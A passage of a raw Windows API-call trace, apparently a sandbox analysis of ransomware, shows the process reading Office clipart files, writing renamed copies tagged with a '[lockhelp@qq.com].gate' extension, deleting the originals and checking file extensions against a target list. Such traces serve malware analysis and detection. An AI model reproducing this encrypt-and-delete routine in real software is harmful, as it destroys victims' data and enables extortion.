lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.981] SetEndOfFile (hFile=0x554) returned 1 [0316.982] CloseHandle (hObject=0x554) returned 1 [0316.983] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.983] SetEndOfFile (hFile=0x4f4) returned 1 [0316.985] CloseHandle (hObject=0x4f4) returned 1 [0316.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0317.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.024] lstrlenW (lpString=".doc") returned 4 [0317.024] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.024] lstrlenW (lpString=".docx") returned 5 [0317.024] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0317.024] lstrlenW (lpString=".pdf") returned 4 [0317.024] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString=".xls") returned 4 [0317.025] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString=".xlsx") returned 5 [0317.025] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0317.025] lstrlenW (lpString=".ppt") returned 4 [0317.025] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.025] lstrlenW (lpString=".zip") returned 4 [0317.025] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString=".rar") returned 4 [0317.025] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString=".bz2") returned 4 [0317.025] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString=".7z") returned 3 [0317.025] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.025] lstrlenW (lpString=".dbf") returned 4 [0317.025] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.025] lstrlenW (lpString=".1cd") returned 4 [0317.025] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0317.025] lstrlenW (lpString=".jpg") returned 4 [0317.025] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.026] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=32184) returned 1 [0317.026] CloseHandle (hObject=0x448) returned 1 [0317.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0317.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0317.027] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.027] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0317.027] GetLastError () returned 0x0 [0317.027] ReadFile (in: hFile=0x448, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.189] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.191] ReadFile (in: hFile=0x448, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.191] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0317.191] SetEndOfFile (hFile=0x4f4) returned 1 [0317.191] CloseHandle (hObject=0x4f4) returned 1 [0317.191] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.191] SetEndOfFile (hFile=0x448) returned 1 [0317.241] CloseHandle (hObject=0x448) returned 1 [0317.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0317.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.375] lstrlenW (lpString=".doc") returned 4 [0317.375] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.375] lstrlenW (lpString=".docx") returned 5 [0317.376] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0317.376] lstrlenW (lpString=".pdf") returned 4 [0317.376] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString=".xls") returned 4 [0317.376] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString=".xlsx") returned 5 [0317.376] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0317.376] lstrlenW (lpString=".ppt") returned 4 [0317.376] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.376] lstrlenW (lpString=".zip") returned 4 [0317.376] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString=".rar") returned 4 [0317.376] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString=".bz2") returned 4 [0317.376] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString=".7z") returned 3 [0317.376] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.376] lstrlenW (lpString=".dbf") returned 4 [0317.376] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.376] lstrlenW (lpString=".1cd") returned 4 [0317.376] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0317.376] lstrlenW (lpString=".jpg") returned 4 [0317.376] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.377] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16104) returned 1 [0317.377] CloseHandle (hObject=0x48c) returned 1 [0317.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0317.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0317.377] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.377] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0317.378] GetLastError () returned 0x0 [0317.378] ReadFile (in: hFile=0x48c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0317.433] WriteFile (in: hFile=0x480, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0317.434] ReadFile (in: hFile=0x48c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.434] WriteFile (in: hFile=0x480, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0317.434] SetEndOfFile (hFile=0x480) returned 1 [0317.435] CloseHandle (hObject=0x480) returned 1 [0317.448] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.448] SetEndOfFile (hFile=0x48c) returned 1 [0317.450] CloseHandle (hObject=0x48c) returned 1 [0317.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString=".doc") returned 4 [0317.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString=".docx") returned 5 [0317.452] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0317.452] lstrlenW (lpString=".pdf") returned 4 [0317.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString=".xls") returned 4 [0317.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.452] lstrlenW (lpString=".xlsx") returned 5 [0317.452] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0317.452] lstrlenW (lpString=".ppt") returned 4 [0317.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString=".zip") returned 4 [0317.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.452] lstrlenW (lpString=".rar") returned 4 [0317.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString=".bz2") returned 4 [0317.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString=".7z") returned 3 [0317.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString=".dbf") returned 4 [0317.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString=".1cd") returned 4 [0317.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0317.452] lstrlenW (lpString=".jpg") returned 4 [0317.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.453] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=11216) returned 1 [0317.453] CloseHandle (hObject=0x48c) returned 1 [0317.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0317.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0317.454] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.454] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0317.454] GetLastError () returned 0x0 [0317.454] ReadFile (in: hFile=0x48c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0317.496] WriteFile (in: hFile=0x480, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2be0, lpOverlapped=0x0) returned 1 [0317.497] ReadFile (in: hFile=0x48c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.497] WriteFile (in: hFile=0x480, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0317.498] SetEndOfFile (hFile=0x480) returned 1 [0317.498] CloseHandle (hObject=0x480) returned 1 [0317.498] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.498] SetEndOfFile (hFile=0x48c) returned 1 [0317.500] CloseHandle (hObject=0x48c) returned 1 [0317.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0317.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.501] lstrlenW (lpString=".doc") returned 4 [0317.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.501] lstrlenW (lpString=".docx") returned 5 [0317.501] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0317.501] lstrlenW (lpString=".pdf") returned 4 [0317.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.501] lstrlenW (lpString=".xls") returned 4 [0317.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.501] lstrlenW (lpString=".xlsx") returned 5 [0317.501] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0317.501] lstrlenW (lpString=".ppt") returned 4 [0317.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.501] lstrlenW (lpString=".zip") returned 4 [0317.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.502] lstrlenW (lpString=".rar") returned 4 [0317.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.502] lstrlenW (lpString=".bz2") returned 4 [0317.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.502] lstrlenW (lpString=".7z") returned 3 [0317.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.502] lstrlenW (lpString=".dbf") returned 4 [0317.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.502] lstrlenW (lpString=".1cd") returned 4 [0317.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0317.502] lstrlenW (lpString=".jpg") returned 4 [0317.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.504] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=44948) returned 1 [0317.504] CloseHandle (hObject=0x4f4) returned 1 [0317.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0317.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0317.505] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.505] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0317.505] GetLastError () returned 0x0 [0317.505] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xaf94, lpOverlapped=0x0) returned 1 [0318.030] WriteFile (in: hFile=0x48c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xafa0, lpOverlapped=0x0) returned 1 [0318.031] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.031] WriteFile (in: hFile=0x48c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0318.032] SetEndOfFile (hFile=0x48c) returned 1 [0318.032] CloseHandle (hObject=0x48c) returned 1 [0318.032] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.032] SetEndOfFile (hFile=0x4f4) returned 1 [0318.035] CloseHandle (hObject=0x4f4) returned 1 [0318.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0318.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.276] lstrlenW (lpString=".doc") returned 4 [0318.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString=".docx") returned 5 [0318.276] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.276] lstrlenW (lpString=".pdf") returned 4 [0318.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString=".xls") returned 4 [0318.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.276] lstrlenW (lpString=".xlsx") returned 5 [0318.276] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.276] lstrlenW (lpString=".ppt") returned 4 [0318.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.276] lstrlenW (lpString=".zip") returned 4 [0318.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.276] lstrlenW (lpString=".rar") returned 4 [0318.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString=".bz2") returned 4 [0318.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString=".7z") returned 3 [0318.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.276] lstrlenW (lpString=".dbf") returned 4 [0318.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.276] 